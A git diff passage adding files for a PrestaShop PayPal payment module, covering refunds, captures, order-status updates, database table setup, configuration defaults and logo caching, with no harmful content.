        ', $log)), Configuration::get('PS_SHOP_EMAIL'), + null, null, null, null, null, _PS_MODULE_DIR_.$this->name.'/mails/'); + } + + return $this->fetchTemplate('error.tpl'); + } + + private function _canRefund($id_order) + { + if (!(bool)$id_order) + return false; + + $paypal_order = Db::getInstance()->getRow(' + SELECT `payment_status`, `capture` + FROM `'._DB_PREFIX_.'paypal_order` + WHERE `id_order` = '.(int)$id_order); + + return $paypal_order && $paypal_order['payment_status'] == 'Completed' && $paypal_order['capture'] == 0; + } + + private function _needValidation($id_order) + { + if (!(int)$id_order) + return false; + + $order = Db::getInstance()->getRow(' + SELECT `payment_method`, `payment_status` + FROM `'._DB_PREFIX_.'paypal_order` + WHERE `id_order` = '.(int)$id_order); + + return $order && $order['payment_method'] != HSS && $order['payment_status'] == 'Pending_validation'; + } + + private function _needCapture($id_order) + { + if (!(int)$id_order) + return false; + + $result = Db::getInstance()->getRow(' + SELECT `payment_method`, `payment_status` + FROM `'._DB_PREFIX_.'paypal_order` + WHERE `id_order` = '.(int)$id_order.' AND `capture` = 1'); + + return $result && $result['payment_method'] != HSS && $result['payment_status'] == 'Pending_capture'; + } + + private function _preProcess() + { + if (Tools::isSubmit('submitPaypal')) + { + $business = Tools::getValue('business') !== false ? (int)Tools::getValue('business') : false; + $payment_method = Tools::getValue('paypal_payment_method') !== false ? (int)Tools::getValue('paypal_payment_method') : false; + $payment_capture = Tools::getValue('payment_capture') !== false ? (int)Tools::getValue('payment_capture') : false; + $sandbox_mode = Tools::getValue('sandbox_mode') !== false ? (int)Tools::getValue('sandbox_mode') : false; + + if ($this->default_country === false || $sandbox_mode === false || $payment_capture === false || $business === false || $payment_method === false) + $this->_errors[] = $this->l('Some fields are empty.'); + elseif (($business == 0 || ($business == 1 && $payment_method != HSS)) && (!Tools::getValue('api_username') || !Tools::getValue('api_password') || !Tools::getValue('api_signature'))) + $this->_errors[] = $this->l('Credentials fields cannot be empty'); + elseif ($business == 1 && $payment_method == HSS && !Tools::getValue('api_business_account')) + $this->_errors[] = $this->l('Business e-mail field cannot be empty'); + } + + return !count($this->_errors); + } + + private function _postProcess() + { + if (Tools::isSubmit('submitPaypal')) + { + if (Tools::getValue('paypal_country_only')) + Configuration::updateValue('PAYPAL_COUNTRY_DEFAULT', (int)Tools::getValue('paypal_country_only')); + elseif ($this->_preProcess()) + { + Configuration::updateValue('PAYPAL_BUSINESS', (int)Tools::getValue('business')); + Configuration::updateValue('PAYPAL_PAYMENT_METHOD', (int)Tools::getValue('paypal_payment_method')); + Configuration::updateValue('PAYPAL_API_USER', trim(Tools::getValue('api_username'))); + Configuration::updateValue('PAYPAL_API_PASSWORD', trim(Tools::getValue('api_password'))); + Configuration::updateValue('PAYPAL_API_SIGNATURE', trim(Tools::getValue('api_signature'))); + Configuration::updateValue('PAYPAL_BUSINESS_ACCOUNT', trim(Tools::getValue('api_business_account'))); + Configuration::updateValue('PAYPAL_EXPRESS_CHECKOUT_SHORTCUT', (int)Tools::getValue('express_checkout_shortcut')); + Configuration::updateValue('PAYPAL_SANDBOX', (int)Tools::getValue('sandbox_mode')); + Configuration::updateValue('PAYPAL_CAPTURE', (int)Tools::getValue('payment_capture')); + + $this->context->smarty->assign('PayPal_save_success', true); + } + else + { + $this->_html = $this->displayError(implode('
        ', $this->_errors)); // Not displayed at this time + $this->context->smarty->assign('PayPal_save_failure', true); + } + } + + return $this->loadLangDefault(); + } + + private function _makeRefund($id_transaction, $id_order, $amt = false) + { + if (!$this->isPayPalAPIAvailable()) + die(Tools::displayError('Fatal Error: no API Credentials are available')); + elseif (!$id_transaction) + die(Tools::displayError('Fatal Error: id_transaction is null')); + + if (!$amt) + $params = array('TRANSACTIONID' => $id_transaction, 'REFUNDTYPE' => 'Full'); + else + { + $isoCurrency = Db::getInstance()->getValue(' + SELECT `iso_code` + FROM `'._DB_PREFIX_.'orders` o + LEFT JOIN `'._DB_PREFIX_.'currency` c ON (o.`id_currency` = c.`id_currency`) + WHERE o.`id_order` = '.(int)$id_order); + + $params = array('TRANSACTIONID' => $id_transaction, 'REFUNDTYPE' => 'Partial', 'AMT' => (float)$amt, 'CURRENCYCODE' => Tools::strtoupper($isoCurrency)); + } + + $paypal_lib = new PaypalLib(); + + return $paypal_lib->makeCall($this->getAPIURL(), $this->getAPIScript(), 'RefundTransaction', '&'.http_build_query($params, '', '&')); + } + + public function _addNewPrivateMessage($id_order, $message) + { + if (!(bool)$id_order) + return false; + + $new_message = new Message(); + $message = strip_tags($message, '
        '); + + if (!Validate::isCleanHtml($message)) + $message = $this->l('Payment message is not valid, please check your module.'); + + $new_message->message = $message; + $new_message->id_order = (int)$id_order; + $new_message->private = 1; + + return $new_message->add(); + } + + private function _doTotalRefund($id_order) + { + $paypal_order = PayPalOrder::getOrderById((int)$id_order); + if (!$this->isPayPalAPIAvailable() || !$paypal_order) + return false; + + $order = new Order((int)$id_order); + if (!Validate::isLoadedObject($order)) + return false; + + $products = $order->getProducts(); + $currency = new Currency((int)$order->id_currency); + if (!Validate::isLoadedObject($currency)) + $this->_errors[] = $this->l('Not a valid currency'); + + if (count($this->_errors)) + return false; + + $decimals = (is_array($currency) ? (int)$currency['decimals'] : (int)$currency->decimals) * _PS_PRICE_DISPLAY_PRECISION_; + + // Amount for refund + $amt = 0.00; + + foreach ($products as $product) + $amt += (float)($product['product_price_wt']) * ($product['product_quantity'] - $product['product_quantity_refunded']); + $amt += (float)($order->total_shipping) + (float)($order->total_wrapping) - (float)($order->total_discounts); + + // check if total or partial + if (Tools::ps_round($order->total_paid_real, $decimals) == Tools::ps_round($amt, $decimals)) + $response = $this->_makeRefund($paypal_order['id_transaction'], $id_order); + else + $response = $this->_makeRefund($paypal_order['id_transaction'], $id_order, (float)($amt)); + + $message = $this->l('Refund operation result:').'
        '; + foreach ($response as $key => $value) + $message .= $key.': '.$value.'
        '; + + if (array_key_exists('ACK', $response) && $response['ACK'] == 'Success' && $response['REFUNDTRANSACTIONID'] != '') + { + $message .= $this->l('PayPal refund successful!'); + if (!Db::getInstance()->Execute('UPDATE `'._DB_PREFIX_.'paypal_order` SET `payment_status` = \'Refunded\' WHERE `id_order` = '.(int)$id_order)) + die(Tools::displayError('Error when updating PayPal database')); + + $history = new OrderHistory(); + $history->id_order = (int)$id_order; + $history->changeIdOrderState((int)Configuration::get('PS_OS_REFUND'), $history->id_order); + $history->addWithemail(); + $history->save(); + } + else + $message .= $this->l('Transaction error!'); + + $this->_addNewPrivateMessage((int)$id_order, $message); + + Tools::redirect($_SERVER['HTTP_REFERER']); + } + + private function _doCapture($id_order) + { + $paypal_order = PayPalOrder::getOrderById((int)$id_order); + if (!$this->isPayPalAPIAvailable() || !$paypal_order) + return false; + + $order = new Order((int)$id_order); + $currency = new Currency((int)$order->id_currency); + + $paypal_lib = new PaypalLib(); + $response = $paypal_lib->makeCall($this->getAPIURL(), $this->getAPIScript(), 'DoCapture', + '&'.http_build_query(array('AMT' => (float)$order->total_paid, 'AUTHORIZATIONID' => $paypal_order['id_transaction'], + 'CURRENCYCODE' => $currency->iso_code, 'COMPLETETYPE' => 'Complete'), '', '&')); + $message = $this->l('Capture operation result:').'
        '; + + foreach ($response as $key => $value) + $message .= $key.': '.$value.'
        '; + + if ((array_key_exists('ACK', $response)) && ($response['ACK'] == 'Success') && ($response['PAYMENTSTATUS'] == 'Completed')) + { + $order_history = new OrderHistory(); + $order_history->id_order = (int)$id_order; + + if (_PS_VERSION_ < '1.5') + $order_history->changeIdOrderState(Configuration::get('PS_OS_WS_PAYMENT'), (int)$id_order); + else + $order_history->changeIdOrderState(Configuration::get('PS_OS_WS_PAYMENT'), $order); + $order_history->addWithemail(); + $message .= $this->l('Order finished with PayPal!'); + } + elseif (isset($response['PAYMENTSTATUS'])) + $message .= $this->l('Transaction error!'); + + if (!Db::getInstance()->Execute(' + UPDATE `'._DB_PREFIX_.'paypal_order` + SET `capture` = 0, `payment_status` = \''.pSQL($response['PAYMENTSTATUS']).'\', `id_transaction` = \''.pSQL($response['TRANSACTIONID']).'\' + WHERE `id_order` = '.(int)$id_order)) + die(Tools::displayError('Error when updating PayPal database')); + + $this->_addNewPrivateMessage((int)$id_order, $message); + + Tools::redirect($_SERVER['HTTP_REFERER']); + } + + private function _updatePaymentStatusOfOrder($id_order) + { + if (!(bool)$id_order || !$this->isPayPalAPIAvailable()) + return false; + + $paypal_order = PayPalOrder::getOrderById((int)$id_order); + if (!$paypal_order) + return false; + + $paypal_lib = new PaypalLib(); + $response = $paypal_lib->makeCall($this->getAPIURL(), $this->getAPIScript(), 'GetTransactionDetails', + '&'.http_build_query(array('TRANSACTIONID' => $paypal_order->id_transaction), '', '&')); + + if (array_key_exists('ACK', $response)) + { + if ($response['ACK'] == 'Success' && isset($response['PAYMENTSTATUS'])) + { + $history = new OrderHistory(); + $history->id_order = (int)$id_order; + + if ($response['PAYMENTSTATUS'] == 'Completed') + $history->changeIdOrderState(Configuration::get('PS_OS_PAYMENT'), (int)$id_order); + elseif (($response['PAYMENTSTATUS'] == 'Pending') && ($response['PENDINGREASON'] == 'authorization')) + $history->changeIdOrderState((int)(Configuration::get('PAYPAL_OS_AUTHORIZATION')), (int)$id_order); + elseif ($response['PAYMENTSTATUS'] == 'Reversed') + $history->changeIdOrderState(Configuration::get('PS_OS_ERROR'), (int)$id_order); + $history->addWithemail(); + + if (!Db::getInstance()->Execute(' + UPDATE `'._DB_PREFIX_.'paypal_order` + SET `payment_status` = \''.pSQL($response['PAYMENTSTATUS']).($response['PENDINGREASON'] == 'authorization' ? '_authorization' : '').'\' + WHERE `id_order` = '.(int)$id_order)) + die(Tools::displayError('Error when updating PayPal database')); + } + + $message = $this->l('Verification status :').'
        '; + $this->formatMessage($response, $message); + $this->_addNewPrivateMessage((int)$id_order, $message); + + return $response; + } + + return false; + } + + public function fetchTemplate($name) + { + if (_PS_VERSION_ < '1.4') + $this->context->smarty->currentTemplate = $name; + elseif (_PS_VERSION_ < '1.5') + { + $views = 'views/templates/'; + if (@filemtime(dirname(__FILE__).'/'.$name)) + return $this->display(__FILE__, $name); + elseif (@filemtime(dirname(__FILE__).'/'.$views.'hook/'.$name)) + return $this->display(__FILE__, $views.'hook/'.$name); + elseif (@filemtime(dirname(__FILE__).'/'.$views.'front/'.$name)) + return $this->display(__FILE__, $views.'front/'.$name); + elseif (@filemtime(dirname(__FILE__).'/'.$views.'back/'.$name)) + return $this->display(__FILE__, $views.'back/'.$name); + } + + return $this->display(__FILE__, $name); + } + + public static function getPayPalCustomerIdByEmail($email) + { + return Db::getInstance()->getValue(' + SELECT `id_customer` + FROM `'._DB_PREFIX_.'paypal_customer` + WHERE paypal_email = \''.pSQL($email).'\''); + } + + public static function getPayPalEmailByIdCustomer($id_customer) + { + return Db::getInstance()->getValue(' + SELECT `paypal_email` + FROM `'._DB_PREFIX_.'paypal_customer` + WHERE `id_customer` = '.(int)$id_customer); + } + + public static function addPayPalCustomer($id_customer, $email) + { + if (!PayPal::getPayPalEmailByIdCustomer($id_customer)) + { + Db::getInstance()->Execute(' + INSERT INTO `'._DB_PREFIX_.'paypal_customer` (`id_customer`, `paypal_email`) + VALUES('.(int)$id_customer.', \''.pSQL($email).'\')'); + + return Db::getInstance()->Insert_ID(); + } + + return false; + } + + private function warningsCheck() + { + if (Configuration::get('PAYPAL_PAYMENT_METHOD') == HSS && Configuration::get('PAYPAL_BUSINESS_ACCOUNT') == 'paypal@prestashop.com') + $this->warning = $this->l('You are currently using the default PayPal e-mail address, please enter your own e-mail address.').'
        '; + + /* Check preactivation warning */ + if (Configuration::get('PS_PREACTIVATION_PAYPAL_WARNING')) + $this->warning .= (!empty($this->warning)) ? ', ' : Configuration::get('PS_PREACTIVATION_PAYPAL_WARNING').'
        '; + } + + private function loadLangDefault() + { + $paypal_country_default = (int)Configuration::get('PAYPAL_COUNTRY_DEFAULT'); + $this->default_country = ($paypal_country_default ? (int)$paypal_country_default : (int)Configuration::get('PS_COUNTRY_DEFAULT')); + $this->iso_code = $this->getCountryDependency(strtoupper($this->context->language->iso_code)); + } + + public function formatMessage($response, &$message) + { + foreach ($response as $key => $value) + $message .= $key.': '.$value.'
        '; + } + + private function checkCurrency($cart) + { + $currency_module = $this->getCurrency((int)$cart->id_currency); + + if ((int)$cart->id_currency == (int)$currency_module->id) + return true; + else + return false; + } + + public static function getShopDomainSsl($http = false, $entities = false) + { + if (method_exists('Tools', 'getShopDomainSsl')) + return Tools::getShopDomainSsl($http, $entities); + else + { + if (!($domain = Configuration::get('PS_SHOP_DOMAIN_SSL'))) + $domain = self::getHttpHost(); + if ($entities) + $domain = htmlspecialchars($domain, ENT_COMPAT, 'UTF-8'); + if ($http) + $domain = (Configuration::get('PS_SSL_ENABLED') ? 'https://' : 'http://').$domain; + return $domain; + } + } + + public function validateOrder($id_cart, $id_order_state, $amountPaid, $paymentMethod = 'Unknown', $message = null, $transaction = array(), $currency_special = null, $dont_touch_amount = false, $secure_key = false, Shop $shop = null) + { + if ($this->active) + { + // Set transaction details if pcc is defined in PaymentModule class_exists + if (isset($this->pcc)) + $this->pcc->transaction_id = (isset($transaction['transaction_id']) ? $transaction['transaction_id'] : ''); + + if (_PS_VERSION_ < '1.5') + parent::validateOrder((int)$id_cart, (int)$id_order_state, (float)$amountPaid, $paymentMethod, $message, $transaction, $currency_special, $dont_touch_amount, $secure_key); + else + parent::validateOrder((int)$id_cart, (int)$id_order_state, (float)$amountPaid, $paymentMethod, $message, $transaction, $currency_special, $dont_touch_amount, $secure_key, $shop); + + if (count($transaction) > 0) + PayPalOrder::saveOrder((int)$this->currentOrder, $transaction); + } + } + + protected function getGiftWrappingPrice() + { + if (_PS_VERSION_ >= '1.5') + $wrapping_fees_tax_inc = $this->context->cart->getGiftWrappingPrice(); + else + { + $wrapping_fees = (float)(Configuration::get('PS_GIFT_WRAPPING_PRICE')); + $wrapping_fees_tax = new Tax((int)(Configuration::get('PS_GIFT_WRAPPING_TAX'))); + $wrapping_fees_tax_inc = $wrapping_fees * (1 + (((float)($wrapping_fees_tax->rate) / 100))); + } + + return (float)Tools::convertPrice($wrapping_fees_tax_inc, $this->context->currency); + } + + public function redirectToConfirmation() + { + $shop_url = PayPal::getShopDomainSsl(true, true); + + // Check if user went through the payment preparation detail and completed it + $detail = unserialize($this->context->cookie->express_checkout); + + if (!empty($detail['payer_id']) && !empty($detail['token'])) + { + $values = array('get_confirmation' => true); + $link = $shop_url._MODULE_DIR_.$this->name.'/express_checkout/payment.php'; + + if (_PS_VERSION_ < '1.5') + Tools::redirectLink($link.'?'.http_build_query($values, '', '&')); + else + Tools::redirect(Context::getContext()->link->getModuleLink('paypal', 'confirm', $values)); + } + } + + protected function getCurrentUrl() + { + $protocol_link = Tools::usingSecureMode() ? 'https://' : 'http://'; + $request = $_SERVER['REQUEST_URI']; + $pos = strpos($request, '?'); + + if (($pos !== false) && ($pos >= 0)) + $request = substr($request, 0, $pos); + + $params = urlencode($_SERVER['QUERY_STRING']); + + return $protocol_link.Tools::getShopDomainSsl().$request.'?'.$params; + } +} diff --git a/modules/paypal2/paypal_install.php b/modules/paypal2/paypal_install.php new file mode 100755 index 0000000..8f28aba --- /dev/null +++ b/modules/paypal2/paypal_install.php @@ -0,0 +1,148 @@ + + * @copyright 2007-2013 PrestaShop SA + * @version Release: $Revision: 14390 $ + * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) + * International Registered Trademark & Property of PrestaShop SA + */ + +if (!defined('_PS_VERSION_')) + exit; + +class PayPalInstall +{ + /** + * Create PayPal tables + */ + public function createTables() + { + /* Set database */ + if (!Db::getInstance()->Execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'paypal_order` ( + `id_order` int(10) unsigned NOT NULL, + `id_transaction` varchar(255) NOT NULL, + `id_invoice` varchar(255) DEFAULT NULL, + `currency` varchar(10) NOT NULL, + `total_paid` varchar(50) NOT NULL, + `shipping` varchar(50) NOT NULL, + `capture` int(2) NOT NULL, + `payment_date` varchar(50) NOT NULL, + `payment_method` int(2) unsigned NOT NULL, + `payment_status` varchar(255) DEFAULT NULL, + PRIMARY KEY (`id_order`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8')) + return false; + + /* Set database */ + if (!Db::getInstance()->Execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'paypal_customer` ( + `id_paypal_customer` int(10) unsigned NOT NULL AUTO_INCREMENT, + `id_customer` int(10) unsigned NOT NULL, + `paypal_email` varchar(255) NOT NULL, + PRIMARY KEY (`id_paypal_customer`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8 AUTO_INCREMENT=1')) + return false; + } + + /** + * Set configuration table + */ + public function updateConfiguration($paypal_version) + { + Configuration::updateValue('PAYPAL_SANDBOX', 0); + Configuration::updateValue('PAYPAL_HEADER', ''); + Configuration::updateValue('PAYPAL_BUSINESS', 0); + Configuration::updateValue('PAYPAL_BUSINESS_ACCOUNT', 'paypal@prestashop.com'); + Configuration::updateValue('PAYPAL_API_USER', ''); + Configuration::updateValue('PAYPAL_API_PASSWORD', ''); + Configuration::updateValue('PAYPAL_API_SIGNATURE', ''); + Configuration::updateValue('PAYPAL_EXPRESS_CHECKOUT', 0); + Configuration::updateValue('PAYPAL_CAPTURE', 0); + Configuration::updateValue('PAYPAL_PAYMENT_METHOD', WPS); + Configuration::updateValue('PAYPAL_NEW', 1); + Configuration::updateValue('PAYPAL_DEBUG_MODE', 0); + Configuration::updateValue('PAYPAL_SHIPPING_COST', 20.00); + Configuration::updateValue('PAYPAL_VERSION', $paypal_version); + Configuration::updateValue('PAYPAL_COUNTRY_DEFAULT', (int)Configuration::get('PS_COUNTRY_DEFAULT')); + + // PayPal v3 configuration + Configuration::updateValue('PAYPAL_EXPRESS_CHECKOUT_SHORTCUT', 1); + } + + /** + * Delete PayPal configuration + */ + public function deleteConfiguration() + { + Configuration::deleteByName('PAYPAL_SANDBOX'); + Configuration::deleteByName('PAYPAL_HEADER'); + Configuration::deleteByName('PAYPAL_BUSINESS'); + Configuration::deleteByName('PAYPAL_API_USER'); + Configuration::deleteByName('PAYPAL_API_PASSWORD'); + Configuration::deleteByName('PAYPAL_API_SIGNATURE'); + Configuration::deleteByName('PAYPAL_BUSINESS_ACCOUNT'); + Configuration::deleteByName('PAYPAL_EXPRESS_CHECKOUT'); + Configuration::deleteByName('PAYPAL_PAYMENT_METHOD'); + Configuration::deleteByName('PAYPAL_TEMPLATE'); + Configuration::deleteByName('PAYPAL_CAPTURE'); + Configuration::deleteByName('PAYPAL_DEBUG_MODE'); + Configuration::deleteByName('PAYPAL_COUNTRY_DEFAULT'); + + // PayPal v3 configuration + Configuration::deleteByName('PAYPAL_EXPRESS_CHECKOUT_SHORTCUT'); + } + + /** + * Create a new order state + */ + public function createOrderState() + { + if (!Configuration::get('PAYPAL_OS_AUTHORIZATION')) + { + $orderState = new OrderState(); + $orderState->name = array(); + + foreach (Language::getLanguages() as $language) + { + if (strtolower($language['iso_code']) == 'fr') + $orderState->name[$language['id_lang']] = 'Autorisation acceptée par PayPal'; + else + $orderState->name[$language['id_lang']] = 'Authorization accepted from PayPal'; + } + + $orderState->send_email = false; + $orderState->color = '#DDEEFF'; + $orderState->hidden = false; + $orderState->delivery = false; + $orderState->logable = true; + $orderState->invoice = true; + + if ($orderState->add()) + { + $source = dirname(__FILE__).'/../../img/os/'.Configuration::get('PS_OS_PAYPAL').'.gif'; + $destination = dirname(__FILE__).'/../../img/os/'.(int)$orderState->id.'.gif'; + copy($source, $destination); + } + Configuration::updateValue('PAYPAL_OS_AUTHORIZATION', (int)$orderState->id); + } + } +} diff --git a/modules/paypal2/paypal_logos.php b/modules/paypal2/paypal_logos.php new file mode 100755 index 0000000..26220a2 --- /dev/null +++ b/modules/paypal2/paypal_logos.php @@ -0,0 +1,147 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class PayPalLogos +{ + private $iso_code = null; + + const LOCAL = 'Local'; + const HORIZONTAL = 'Horizontal'; + const VERTICAL = 'Vertical'; + + public function __construct($iso_code) + { + $this->iso_code = $iso_code; + } + + public function getLogos() + { + $file = dirname(__FILE__).'/'._PAYPAL_LOGO_XML_; + + if (!file_exists($file)) + return false; + + $xml = simplexml_load_file($file); + + if (isset($xml) && $xml != false) + { + foreach ($xml->country as $item) + { + $tmp_iso_code = (string)$item->attributes()->iso_code; + $logos[$tmp_iso_code] = (array)$item; + } + + if (!isset($logos[$this->iso_code])) + $result = $this->getLocalLogos($logos['default'], 'default'); + else + $result = $this->getLocalLogos($logos[$this->iso_code], $this->iso_code); + + $result['default'] = $this->getLocalLogos($logos['default'], 'default'); + + return $result; + } + + return false; + } + + public function getCardsLogo($vertical = false) + { + $logos = $this->getLogos(); + + $orientation = $vertical === true ? self::VERTICAL : self::HORIZONTAL; + $logo_ref = self::LOCAL.'PayPal'.$orientation.'SolutionPP'; + + if (array_key_exists($logo_ref, $logos)) + return $logos[$logo_ref]; + elseif (($vertical !== false) && isset($logos[self::LOCAL.'PayPal'.self::HORIZONTAL.'SolutionPP'])) + return $logos[self::LOCAL.'PayPal'.self::HORIZONTAL.'SolutionPP']; + + if (isset($logos['default'][self::LOCAL.'Local'.$orientation.'SolutionPP'])) + return _MODULE_DIR_._PAYPAL_MODULE_DIRNAME_.$logos['default'][self::LOCAL.'Local'.$orientation.'SolutionPP']; + + return false; + } + + public function getLocalLogos(array $values, $iso_code) + { + foreach ($values as $key => $value) + if (!is_array($value)) + { + // Search for image file name + preg_match('#.*/([\w._-]*)$#', $value, $logo); + + if ((count($logo) == 2) && (strstr($key, 'Local') === false)) + { + $destination = _PAYPAL_MODULE_DIRNAME_.'/img/logos/'.$iso_code.'_'.$logo[1]; + $this->updatePictures($logo[0], $destination); + + // Define the local path after picture have been downloaded + $values['Local'.$key] = _MODULE_DIR_.$destination; + + // Load back office cards path + if (file_exists(dirname(__FILE__).'/img/bo-cards/'.strtoupper($iso_code).'_bo_cards.png')) + $values['BackOfficeCards'] = _MODULE_DIR_._PAYPAL_MODULE_DIRNAME_.'/img/bo-cards/'.strtoupper($iso_code).'_bo_cards.png'; + else if (file_exists(dirname(__FILE__).'/img/bo-cards/default.png')) + $values['BackOfficeCards'] = _MODULE_DIR_._PAYPAL_MODULE_DIRNAME_.'/img/bo-cards/default.png'; + } + // Use the local version + else if (isset($values['Local'.$key])) + $values['Local'.$key] = _MODULE_DIR_._PAYPAL_MODULE_DIRNAME_.$values['Local'.$key]; + } + + return $values; + } + + private function updatePictures($source, $destination, $force = false) + { + $wrappers = stream_get_wrappers(); + $https_wrapper = in_array('https', $wrappers) ? true : false; + + // 604800 => One week timestamp + if (!file_exists(_PS_MODULE_DIR_.$destination) || ((time() - filemtime(_PS_MODULE_DIR_.$destination)) > 604800) || $force) + { + $picture = Tools::file_get_contents($source); + if ((bool)$picture !== false) + { + if ($handle = @fopen(_PS_MODULE_DIR_.$destination, 'w+')) + { + $size = fwrite($handle, $picture); + if ($size > 0 || (file_exists(_MODULE_DIR_.$destination) && (@filesize(_MODULE_DIR_.$destination) > 0))) + return _MODULE_DIR_.$destination; + } + } + elseif (strstr($source, 'https')) + return $this->updatePictures(str_replace('https', 'http', $source), $destination); + else + return false; + } + + return _MODULE_DIR_.$destination; + } +} diff --git a/modules/paypal2/paypal_orders.php b/modules/paypal2/paypal_orders.php new file mode 100755 index 0000000..72ea0df --- /dev/null +++ b/modules/paypal2/paypal_orders.php @@ -0,0 +1,152 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +/* + * PayPal notification fields + */ +define('ID_INVOICE', 'invoice'); +define('ID_PAYER', 'payer_id'); +define('ID_TRANSACTION', 'txn_id'); +define('CURRENCY', 'mc_currency'); +define('PAYER_EMAIL', 'payer_email'); +define('PAYMENT_DATE', 'payment_date'); +define('TOTAL_PAID', 'mc_gross'); +define('SHIPPING', 'shipping'); +define('VERIFY_SIGN', 'verify_sign'); + +class PayPalOrder +{ + /* + * Get PayPal order data + * - ID Order + * - ID Transaction + * - ID Invoice + * - Currency (ISO) + * - Total paid + * - Shipping + * - Capture (bool) + * - Payment date + * - Payment method (int) + * - Payment status + */ + + public static function getTransactionDetails($ppec = false, $payment_status = false) + { + if ($ppec && $payment_status) + { + $transaction_id = pSQL($ppec->result['PAYMENTINFO_0_TRANSACTIONID']); + return array( + 'currency' => pSQL($ppec->result['PAYMENTINFO_0_CURRENCYCODE']), + 'id_invoice' => null, + 'id_transaction' => $transaction_id, + 'transaction_id' => $transaction_id, + 'total_paid' => (float)$ppec->result['PAYMENTINFO_0_AMT'], + 'shipping' => (float)$ppec->result['PAYMENTREQUEST_0_SHIPPINGAMT'], + 'payment_date' => pSQL($ppec->result['PAYMENTINFO_0_ORDERTIME']), + 'payment_status' => pSQL($payment_status) + ); + } + else + { + $transaction_id = pSQL(Tools::getValue(ID_TRANSACTION)); + return array( + 'currency' => pSQL(Tools::getValue(CURRENCY)), + 'id_invoice' => pSQL(Tools::getValue(ID_INVOICE)), + 'id_transaction' => $transaction_id, + 'transaction_id' => $transaction_id, + 'total_paid' => (float)Tools::getValue(TOTAL_PAID), + 'shipping' => (float)Tools::getValue(SHIPPING), + 'payment_date' => pSQL(Tools::getValue(PAYMENT_DATE)), + 'payment_status' => pSQL($payment_status) + ); + } + } + + public static function getOrderById($id_order) + { + return Db::getInstance()->getRow( + 'SELECT * FROM `'._DB_PREFIX_.'paypal_order` + WHERE `id_order` = '.(int)$id_order + ); + } + + public static function getIdOrderByTransactionId($id_transaction) + { + $sql = 'SELECT `id_order` + FROM `'._DB_PREFIX_.'paypal_order` + WHERE `id_transaction` = \''.pSQL($id_transaction).'\''; + + $result = Db::getInstance()->getRow($sql); + + if ($result != false) + return (int)$result['id_order']; + return 0; + } + + public static function saveOrder($id_order, $transaction) + { + $order = new Order((int)$id_order); + $total_paid = (float)$transaction['total_paid']; + + if (!isset($transaction['payment_status']) || !$transaction['payment_status']) + $transaction['payment_status'] = 'NULL'; + + Db::getInstance()->Execute(' + INSERT INTO `'._DB_PREFIX_.'paypal_order` + (`id_order`, `id_transaction`, `id_invoice`, `currency`, `total_paid`, `shipping`, `capture`, `payment_date`, `payment_method`, `payment_status`) + VALUES ('.(int)$id_order.', \''.pSQL($transaction['id_transaction']).'\', \''.pSQL($transaction['id_invoice']).'\', + \''.pSQL($transaction['currency']).'\', + \''.$total_paid.'\', + \''.(float)$transaction['shipping'].'\', + \''.(int)Configuration::get('PAYPAL_CAPTURE').'\', + \''.pSQL($transaction['payment_date']).'\', + \''.(int)Configuration::get('PAYPAL_PAYMENT_METHOD').'\', + \''.pSQL($transaction['payment_status']).'\')' + ); + } + + public static function updateOrder($id_order, $transaction) + { + $total_paid = (float)$transaction['total_paid']; + + if (!isset($transaction['payment_status']) || !$transaction['payment_status']) + $transaction['payment_status'] = 'NULL'; + + $sql = 'UPDATE `'._DB_PREFIX_.'paypal_order` + SET `payment_status` = \''.pSQL($transaction['payment_status']).'\' + WHERE `id_order` = \''.(int)$id_order.'\' + AND `id_transaction` = \''.pSQL($transaction['id_transaction']).'\' + AND `currency` = \''.pSQL($transaction['currency']).'\''; + if ((int)Configuration::get('PAYPAL_SANDBOX') != 1) + $sql .= 'AND `total_paid` = \''.$transaction['total_paid'].'\' + AND `shipping` = \''.(float)$transaction['shipping'].'\';'; + + Db::getInstance()->Execute($sql); + } +} diff --git a/modules/paypal2/paypal_tools.php b/modules/paypal2/paypal_tools.php new file mode 100755 index 0000000..76628e2 --- /dev/null +++ b/modules/paypal2/paypal_tools.php @@ -0,0 +1,79 @@ + + * @copyright 2007-2013 PrestaShop SA + * @version Release: $Revision: 14390 $ + * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) + * International Registered Trademark & Property of PrestaShop SA + */ + +if (!defined('_PS_VERSION_')) + exit; + +class PayPalTools +{ + protected $name = null; + + public function __construct($module_name) + { + $this->name = $module_name; + } + + public function moveTopPayments($position) + { + if (_PS_VERSION_ < '1.5') + $hookPayment = (int)Hook::get('payment'); + else + $hookPayment = (int)Hook::getIdByName('payment'); + + $moduleInstance = Module::getInstanceByName($this->name); + + if (_PS_VERSION_ < '1.5') + $moduleInfo = Hook::getModuleFromHook($hookPayment, $moduleInstance->id); + else + $moduleInfo = Hook::getModulesFromHook($hookPayment, $moduleInstance->id); + + if ((isset($moduleInfo['position']) && (int)$moduleInfo['position'] > (int)$position) || + (isset($moduleInfo['m.position']) && (int)$moduleInfo['m.position'] > (int)$position)) + return $moduleInstance->updatePosition($hookPayment, 0, (int)$position); + return $moduleInstance->updatePosition($hookPayment, 1, (int)$position); + } + + public function moveRightColumn($position) + { + if (_PS_VERSION_ < '1.5') + $hookRight = (int)Hook::get('rightColumn'); + else + $hookRight = (int)Hook::getIdByName('rightColumn'); + + $moduleInstance = Module::getInstanceByName($this->name); + + if (_PS_VERSION_ < '1.5') + $moduleInfo = Hook::getModuleFromHook($hookRight, $moduleInstance->id); + else + $moduleInfo = Hook::getModulesFromHook($hookRight, $moduleInstance->id); + + if ((isset($moduleInfo['position']) && (int)$moduleInfo['position'] > (int)$position) || + (isset($moduleInfo['m.position']) && (int)$moduleInfo['m.position'] > (int)$position)) + return $moduleInstance->updatePosition($hookRight, 0, (int)$position); + return $moduleInstance->updatePosition($hookRight, 1, (int)$position); + } +} diff --git 